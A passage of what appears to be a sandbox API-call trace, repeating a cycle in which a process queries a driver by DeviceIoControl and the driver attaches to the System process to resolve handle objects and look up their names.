HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002112310, HandleInformation=0x0) returned 0x0 [0119.657] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.657] PsReleaseProcessExitSynchronization () returned 0x2 [0119.657] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.657] ObQueryNameString (in: Object=0xfffffa8002112310, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.657] ObfDereferenceObject (Object=0xfffffa8002112310) returned 0x2 [0119.657] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.657] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.657] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.657] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.657] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.657] PsAcquireProcessExitSynchronization () returned 0x0 [0119.657] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.657] ObReferenceObjectByHandle (in: Handle=0xffffffff80000814, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80034955f0, HandleInformation=0x0) returned 0x0 [0119.657] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.657] PsReleaseProcessExitSynchronization () returned 0x2 [0119.657] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.657] ObQueryNameString (in: Object=0xfffffa80034955f0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.658] ObfDereferenceObject (Object=0xfffffa80034955f0) returned 0x2 [0119.658] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.658] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.658] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.658] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.658] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.658] PsAcquireProcessExitSynchronization () returned 0x0 [0119.658] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.658] ObReferenceObjectByHandle (in: Handle=0xffffffff8000081c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002119050, HandleInformation=0x0) returned 0x0 [0119.658] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.658] PsReleaseProcessExitSynchronization () returned 0x2 [0119.658] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.658] ObQueryNameString (in: Object=0xfffffa8002119050, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.658] ObfDereferenceObject (Object=0xfffffa8002119050) returned 0x2 [0119.658] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.658] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.658] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.658] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.658] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.658] PsAcquireProcessExitSynchronization () returned 0x0 [0119.658] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.658] ObReferenceObjectByHandle (in: Handle=0xffffffff80000824, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003966f20, HandleInformation=0x0) returned 0x0 [0119.658] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.658] PsReleaseProcessExitSynchronization () returned 0x2 [0119.658] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.658] ObQueryNameString (in: Object=0xfffffa8003966f20, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.658] ObfDereferenceObject (Object=0xfffffa8003966f20) returned 0x2 [0119.658] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.659] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.659] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.659] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.659] PsAcquireProcessExitSynchronization () returned 0x0 [0119.659] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.659] ObReferenceObjectByHandle (in: Handle=0xffffffff80000834, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001edcdf0, HandleInformation=0x0) returned 0x0 [0119.659] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.659] PsReleaseProcessExitSynchronization () returned 0x2 [0119.659] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.659] ObQueryNameString (in: Object=0xfffffa8001edcdf0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.659] ObfDereferenceObject (Object=0xfffffa8001edcdf0) returned 0x2 [0119.659] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.659] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.659] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.659] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.659] PsAcquireProcessExitSynchronization () returned 0x0 [0119.659] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.659] ObReferenceObjectByHandle (in: Handle=0xffffffff80000838, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800263ed90, HandleInformation=0x0) returned 0x0 [0119.659] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.659] PsReleaseProcessExitSynchronization () returned 0x2 [0119.659] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.659] ObQueryNameString (in: Object=0xfffffa800263ed90, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.659] ObfDereferenceObject (Object=0xfffffa800263ed90) returned 0x2 [0119.659] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.659] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.659] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.659] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.660] PsAcquireProcessExitSynchronization () returned 0x0 [0119.660] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.660] ObReferenceObjectByHandle (in: Handle=0xffffffff8000083c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800cabb050, HandleInformation=0x0) returned 0x0 [0119.660] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.660] PsReleaseProcessExitSynchronization () returned 0x2 [0119.660] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.660] ObQueryNameString (in: Object=0xfffffa800cabb050, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.660] ObfDereferenceObject (Object=0xfffffa800cabb050) returned 0x2 [0119.660] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.660] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.660] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.660] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.660] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.660] PsAcquireProcessExitSynchronization () returned 0x0 [0119.660] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.660] ObReferenceObjectByHandle (in: Handle=0xffffffff80000840, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002157050, HandleInformation=0x0) returned 0x0 [0119.660] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.660] PsReleaseProcessExitSynchronization () returned 0x2 [0119.660] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.660] ObQueryNameString (in: Object=0xfffffa8002157050, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.660] ObfDereferenceObject (Object=0xfffffa8002157050) returned 0x2 [0119.660] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.660] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.660] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.660] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.660] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.660] PsAcquireProcessExitSynchronization () returned 0x0 [0119.660] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.660] ObReferenceObjectByHandle (in: Handle=0xffffffff80000844, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002309370, HandleInformation=0x0) returned 0x0 [0119.660] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.661] PsReleaseProcessExitSynchronization () returned 0x2 [0119.661] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.661] ObQueryNameString (in: Object=0xfffffa8002309370, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.661] ObfDereferenceObject (Object=0xfffffa8002309370) returned 0x2 [0119.661] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.661] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.661] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.661] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.661] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.661] PsAcquireProcessExitSynchronization () returned 0x0 [0119.661] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.661] ObReferenceObjectByHandle (in: Handle=0xffffffff80000854, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003420f20, HandleInformation=0x0) returned 0x0 [0119.661] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.661] PsReleaseProcessExitSynchronization () returned 0x2 [0119.661] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.661] ObQueryNameString (in: Object=0xfffffa8003420f20, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.661] ObfDereferenceObject (Object=0xfffffa8003420f20) returned 0x2 [0119.661] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.661] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.661] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.661] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.661] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.661] PsAcquireProcessExitSynchronization () returned 0x0 [0119.661] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.661] ObReferenceObjectByHandle (in: Handle=0xffffffff8000085c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800ed431f0, HandleInformation=0x0) returned 0x0 [0119.661] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.661] PsReleaseProcessExitSynchronization () returned 0x2 [0119.661] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.661] ObQueryNameString (in: Object=0xfffffa800ed431f0, ObjectNameInfo=0xfffffa800388e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800388e044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.662] ObfDereferenceObject (Object=0xfffffa800ed431f0) returned 0x2 [0119.662] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.662] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.662] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.662] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.662] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.662] PsAcquireProcessExitSynchronization () returned 0x0 [0119.662] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.662] ObReferenceObjectByHandle (in: Handle=0xffffffff80000860, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80038d8190, HandleInformation=0x0) returned 0x0 [0119.662] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.662] PsReleaseProcessExitSynchronization () returned 0x2 [0119.662] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.662] ObQueryNameString (in: Object=0xfffffa80038d8190, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.662] ObfDereferenceObject (Object=0xfffffa80038d8190) returned 0x2 [0119.662] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.662] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.662] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.662] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.662] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.662] PsAcquireProcessExitSynchronization () returned 0x0 [0119.662] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.662] ObReferenceObjectByHandle (in: Handle=0xffffffff80000874, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80037b5f20, HandleInformation=0x0) returned 0x0 [0119.662] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.662] PsReleaseProcessExitSynchronization () returned 0x2 [0119.662] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.662] ObQueryNameString (in: Object=0xfffffa80037b5f20, ObjectNameInfo=0xfffffa80019fa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fa044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.663] ObfDereferenceObject (Object=0xfffffa80037b5f20) returned 0x2 [0119.663] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.663] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.663] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.663] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.663] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.663] PsAcquireProcessExitSynchronization () returned 0x0 [0119.663] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.663] ObReferenceObjectByHandle (in: Handle=0xffffffff80000878, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002156050, HandleInformation=0x0) returned 0x0 [0119.663] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.663] PsReleaseProcessExitSynchronization () returned 0x2 [0119.663] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.663] ObQueryNameString (in: Object=0xfffffa8002156050, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.663] ObfDereferenceObject (Object=0xfffffa8002156050) returned 0x2 [0119.663] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.663] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.663] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.663] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.663] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.663] PsAcquireProcessExitSynchronization () returned 0x0 [0119.663] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.663] ObReferenceObjectByHandle (in: Handle=0xffffffff8000087c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80033f89a0, HandleInformation=0x0) returned 0x0 [0119.663] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.663] PsReleaseProcessExitSynchronization () returned 0x2 [0119.663] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.663] ObQueryNameString (in: Object=0xfffffa80033f89a0, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.663] ObfDereferenceObject (Object=0xfffffa80033f89a0) returned 0x2 [0119.663] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.663] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.663] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.663] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.663] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.664] PsAcquireProcessExitSynchronization () returned 0x0 [0119.664] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.664] ObReferenceObjectByHandle (in: Handle=0xffffffff80000884, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800200a420, HandleInformation=0x0) returned 0x0 [0119.664] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.664] PsReleaseProcessExitSynchronization () returned 0x2 [0119.664] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.664] ObQueryNameString (in: Object=0xfffffa800200a420, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.664] ObfDereferenceObject (Object=0xfffffa800200a420) returned 0x2 [0119.664] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.664] HeapFree (in: hHeap=0x240000, dwFlags=0x0, 